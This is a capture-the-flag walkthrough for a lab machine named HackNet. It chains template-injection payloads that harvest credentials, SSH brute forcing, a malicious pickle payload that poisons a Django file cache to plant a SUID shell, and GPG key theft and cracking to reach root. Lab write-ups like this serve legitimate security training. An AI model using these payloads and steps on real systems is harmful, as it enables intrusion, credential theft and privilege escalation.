# Vulnerability Summary

Server-Side Template Injection (SSTI) in username field, exploitable via /likes/ endpoint

# Attack Flow

# Phase 1: Initial Access via SSTI

1. Register and Login to the application

2. Like all posts (IDs 1-100) to ensure your username appears in likes lists

3. Change username to SSTI payload to extract user data:

  • First payload: `{{ users.0.email }}` - extracts emails
  • Second payload: `{{ users.0.password }}` - extracts password hashes

4. Harvest credentials by visiting /likes/ for each post

  • The SSTI executes in the `title` attribute of the img tag
  • Extract emails and passwords from the rendered HTML

5. Create credentials list (username:password format)

6. SSH Bruteforce using hydra with extracted credentials

Result:

plaintext
[22][ssh] host: hacknet.htb   login: mikey   password: mYd4rks1dEisH3re

# Phase 2: Lateral Movement (mikey → sandy)

Once logged in as mikey:

1. Navigate to web app source: /var/www/HackNet

2. Identify Django cache configuration in settings.py:

python
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
}
}

3. Exploit Insecure Deserialization in Django cache:

a. Trigger cache creation by searching in the app (e.g., search for "diego")

b. Note the cache filenames created in /var/tmp/django_cache/

c. Create malicious pickle payload:

python
import pickle
import os

class Exploit(object):
def __reduce__(self):
cmd = "bash -c 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash'"
return (os.system, (cmd,))

filenames = [
"/var/tmp/django_cache/647c31ce560000c70911a27dc1f6ea1e.djcache",
"/var/tmp/django_cache/9521ccb242c5d9b2157674d30e05cc1b.djcache",
]

for filename in filenames:
with open(filename, "wb") as f:
pickle.dump(Exploit(), f)

d. Remove legitimate cache files:

Command Line Prompt
rm /var/tmp/django_cache/*.djcache

e. Trigger cache load by performing the same search again

f. Execute SUID bash:

Command Line Prompt
/tmp/bash -p
# Now running as sandy

# Phase 3: Privilege Escalation (sandy → root)

1. Find GPG-encrypted backups in /var/www/HackNet/backups/

  • backup01.sql.gpg
  • backup02.sql.gpg
  • backup03.sql.gpg

2. Extract Sandy's GPG private key:

Command Line Prompt
cp /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc /tmp/

3. Transfer files to attacking machine and crack GPG passphrase:

Command Line Prompt
gpg2john armored_key.asc > sandy_private.hash
john --wordlist=/usr/share/wordlists/rockyou.txt sandy_private.hash
# Result: sandy:sweetheart

4. Decrypt backup files:

Command Line Prompt
export GNUPGHOME=$(mktemp -d)
gpg --import armored_key.asc # Enter passphrase: sweetheart
gpg --decrypt backup02.sql.gpg > backup02.sql

5. Find root password in backup02.sql:

plaintext
Here's the password: h4ck3rs4re3veRywh3re99

6. Escalate to root:

Command Line Prompt
su root
Password: h4ck3rs4re3veRywh3re99

# Flags

User Flag: /home/mikey/user.txt

Root Flag: /root/root.txt

# Key Takeaways

1. SSTI in unexpected places: The username field seemed innocuous but was rendered unsafely in AJAX responses

2. Django cache deserialization: Pickle deserialization in file-based caches is dangerous

3. Backup files contain secrets: Encrypted backups may still be crackable

4. Chain multiple vulnerabilities: SSTI → Credential harvest → Cache poisoning → GPG cracking

# Technical Issue Encountered

Machine Status: The target machine's /login endpoint consistently times out on POST requests, preventing automated exploitation. This appears to be a machine stability issue rather than a design feature. Manual exploitation via web browser would be required.

Edited on